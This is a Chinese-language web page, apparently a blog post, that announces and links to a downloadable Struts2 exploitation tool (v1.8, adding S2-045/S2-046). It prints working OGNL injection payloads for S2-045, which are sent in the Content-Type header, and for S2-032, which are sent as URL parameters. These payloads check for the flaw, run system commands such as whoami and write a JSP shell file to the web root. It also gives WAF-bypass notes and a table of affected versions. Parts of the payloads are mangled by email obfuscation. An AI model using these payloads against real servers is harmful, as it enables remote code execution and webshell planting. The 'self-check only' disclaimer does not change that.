天天看點

Struts2漏洞利用工具下載下傳(更新2017-V1.8版增加S2-045/S2-046)

Struts2漏洞利用工具下載下傳(已更新V1.8版)

2017-03-21:

2017-03-07:

增加安恒資訊研究員nike.zheng發現的S2-045,jakatar處理複雜資料類型時,異常處理不當,導緻OGNL代碼執行,通過在請求的Content-Type頭中構造OGNL表達式來執行Java代碼。http://struts.apache.org/docs/s2-045.html

相關exp:

S2-045:

1.驗證漏洞,修改Content-Type,傳回内容為“webpath”代表存在漏洞。

%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}

2.執行指令

%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).(#res.getWriter().close()).(#s.close())}

3.上傳檔案:

%{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@getRequest()).(#[email protected]@getResponse()).(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).(#res.getWriter().close())}

S2-032 20160426  漏洞參考 http://seclab.dbappsecurity.com.cn/?p=924

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

<code>擷取磁盤目錄:</code>

<code>1. </code>

<code>method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&amp;pp=%2f&amp;encoding=UTF-8</code>

<code>執行指令:</code>

<code>1.</code>

<code>method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&amp;cmd=whoami&amp;pp=A&amp;ppp=%20&amp;encoding=UTF-8</code>

<code>2.</code>

<code>method:%23_memberAccess[%23parameters.name1[0]]%3dtrue,%23_memberAccess[%23parameters.name[0]]%3dtrue,%23_memberAccess[%23parameters.name2[0]]%3d{},%23_memberAccess[%23parameters.name3[0]]%3d{},%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23s%3dnew%20java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd[0]).getInputStream()).useDelimiter(%23parameters.pp[0]),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp[0],%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&amp;name=allowStaticMethodAccess&amp;name1=allowPrivateAccess&amp;name2=excludedPackageNamePatterns&amp;name3=excludedClasses&amp;cmd=whoami&amp;pp=A&amp;ppp=%20&amp;encoding=UTF-8</code>

<code>上傳檔案:</code>

<code>method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23w%3d%23res.getWriter(),%23path%3d%23req.getRealPath(%23parameters.pp[0]),new%20java.io.BufferedWriter(new%20java.io.FileWriter(%23path%2b%23parameters.shellname[0]).append(%23parameters.shellContent[0])).close(),%23w.print(%23path),%23w.close(),1?%23xx:%23request.toString&amp;shellname=stest.jsp&amp;shellContent=tttt&amp;encoding=UTF-8&amp;pp=%2f</code>

更新日志:

增加S2-046,官方釋出S2-046和S2-045漏洞引發原因一樣,隻是利用漏洞的位置發生了變化,S2-046方式可能繞過部分WAF防護,存在S2-045就存在S2-046。http://struts.apache.org/docs/s2-046.html

2016-04-26:

增加最新的S2-032遠端代碼執行漏洞,和S2-019很相似。

參考:http://seclab.dbappsecurity.com.cn/?p=924

2015-12-01:

采用scanner讀資料流,再也不用擔心s16不能執行net user/ipconfig/netstat -an等指令了。

增加複雜資料包(multipart/form-data)送出方式進行漏洞利用,可繞過部分防護。可執行指令,暫時無法上傳檔案。

2014-11-12:

最近遇到s19這個debug模式開啟導緻代碼執行,這個有點少,但還是有一些,為了友善大家把13版本修改了一下。可以利用這個漏洞執行指令、上傳shell。

警告:

本工具為漏洞自查工具,請勿非法攻擊他人網站!

==漏洞編号==============影響版本=========================官方公告==========================================影響範圍=====

S2-045 CVE-2017-5638 Struts 2.3.5-2.3.31, Struts 2.5-2.5.10 http://struts.apache.org/docs/s2-045.html 影響範圍較大

S2-037 CVE-2016-4438 Struts 2.3.20-2.3.28.1 http://struts.apache.org/docs/s2-037.html 影響範圍小

S2-032 CVE-2016-3081 Struts 2.3.18-2.3.28 http://struts.apache.org/release/2.3.x/docs/s2-032.html 影響範圍小

S2-020 CVE-2014-0094 Struts 2.0.0-2.3.16 http://struts.apache.org/release/2.3.x/docs/s2-020.html 影響範圍小

S2-019 CVE-2013-4316 Struts 2.0.0-2.3.15.1 http://struts.apache.org/release/2.3.x/docs/s2-019.html 影響範圍一般

S2-016 CVE-2013-2251 Struts 2.0.0-2.3.15 http://struts.apache.org/release/2.3.x/docs/s2-016.html 影響範圍非常大

S2-013 CVE-2013-1966 Struts 2.0.0-2.3.14 http://struts.apache.org/release/2.3.x/docs/s2-013.html 未添加,S2-016範圍内

S2-009 CVE-2011-3923 Struts 2.0.0-2.3.1.1 http://struts.apache.org/release/2.3.x/docs/s2-009.html 未添加,S2-016範圍内

S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1 http://struts.apache.org/release/2.2.x/docs/s2-005.html 未添加,S2-016範圍内

僅提供驗證漏洞使用,請勿非法使用,産生的任何法律問題,一概與本人無關。

Struts2漏洞利用工具下載下傳(更新2017-V1.8版增加S2-045/S2-046)

下載下傳位址:

<a href="http://www.shack2.org/static/upload/file/20170322/1490175520218065743.rar">Struts2漏洞利用工具2017版.rar</a>

檔案名稱: Struts2漏洞利用工具2017版.exe

檔案大小: 104 KB (107008 位元組)

檔案版本: 1.8.0.0

修改時間: 2017年03月22日,17:39:29

MD5: 3B405C30A7028E05742D0FBF0961E6B2

SHA1: 1D69338543544B31444D0173C08E706D57F148CB

CRC32: 97AC167B

計算時間: 0.00s